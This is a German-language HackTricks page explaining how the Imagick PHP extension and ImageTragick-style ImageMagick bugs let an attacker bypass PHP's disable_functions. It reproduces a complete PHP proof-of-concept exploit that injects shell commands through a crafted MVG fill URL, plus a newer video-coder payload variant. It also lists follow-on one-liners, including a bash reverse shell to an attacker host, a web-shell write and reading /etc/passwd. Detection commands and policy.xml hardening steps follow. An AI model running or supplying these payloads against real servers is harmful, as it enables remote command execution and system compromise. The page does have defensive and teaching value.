Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Die bekannte ImageTragick Familie von Bugs (CVE-2016-3714 u.a.) ermöglicht es einem Angreifer, die zugrunde liegende ImageMagick-Binary über manipulierte MVG/SVG-Eingaben zu erreichen. Wenn die PHP-Erweiterung Imagick vorhanden ist, kann dies missbraucht werden, um Shell-Befehle auszuführen, selbst wenn jede ausführungsorientierte PHP-Funktion mit disable_functions auf die schwarze Liste gesetzt ist.

Der ursprüngliche PoC, veröffentlicht von RicterZ (Chaitin Security Research Lab) im Mai 2016, wird unten wiedergegeben. Die Technik wird immer noch regelmäßig bei zeitgenössischen PHP 7/8-Audits angetroffen, da viele Shared-Hosting-Anbieter PHP einfach ohne exec/system kompilieren, aber eine veraltete Imagick + ImageMagick-Kombination beibehalten.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Warum funktioniert es?

  1. Imagick::readImage() startet transparent das ImageMagick Delegate (convert/magick) Binary.
  2. Das MVG-Skript setzt das fill auf eine externe URI. Wenn ein doppeltes Anführungszeichen (") injiziert wird, wird der Rest der Zeile von /bin/sh ‑c interpretiert, das ImageMagick intern verwendet → willkürliche Shell-Ausführung.
  3. Alles geschieht außerhalb des PHP-Interpreters, daher werden disable_functions, open_basedir, safe_mode (in PHP 5.4 entfernt) und ähnliche Einschränkungen im Prozess vollständig umgangen.

Status 2025 – es ist immer noch relevant

  • Jede Imagick-Version, die auf einem verwundbaren ImageMagick-Backend basiert, bleibt ausnutzbar. In Labortests funktioniert dasselbe Payload auf PHP 8.3 mit Imagick 3.7.0 und ImageMagick 7.1.0-51, das ohne eine gehärtete policy.xml kompiliert wurde.
  • Seit 2020 wurden mehrere zusätzliche Command-Injection-Vektoren gefunden (video:pixel-format, ps:, text: Codierer…). Zwei aktuelle öffentliche Beispiele sind:
  • CVE-2020-29599 – Shell-Injection über den text: Codierer.
  • GitHub-Issue #6338 (2023) – Injection im video: Delegate.

Wenn das Betriebssystem ImageMagick < 7.1.1-11 (oder 6.x < 6.9.12-73) ohne eine restriktive Richtliniendatei ausliefert, ist die Ausnutzung unkompliziert.

Moderne Payload-Varianten

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

Andere nützliche Primitiven während CTFs / realen Einsätzen:

  • Dateischreiben... > /var/www/html/shell.php (Web-Shell außerhalb von open_basedir schreiben)
  • Reverse Shellbash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Auflistenid; uname -a; cat /etc/passwd

Schnelle Erkennung & Auflistung

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Wenn die Ausgabe zeigt, dass die MVG oder URL Coder aktiviert sind, ist das Ziel wahrscheinlich ausnutzbar.

Minderung

  1. Patch/Upgrade – Verwenden Sie ImageMagick ≥ 7.1.1-11 (oder die neueste 6.x LTS) und Imagick ≥ 3.7.2.
  2. Härten Sie policy.xml – explizit deaktivieren Sie hochriskante Coder:
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Entfernen Sie die Erweiterung in nicht vertrauenswürdigen Hosting-Umgebungen. In den meisten Web-Stacks ist GD oder Imagick nicht unbedingt erforderlich.
  2. Behandeln Sie disable_functions nur als Verteidigung in der Tiefe – niemals als primären Sandbox-Mechanismus.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks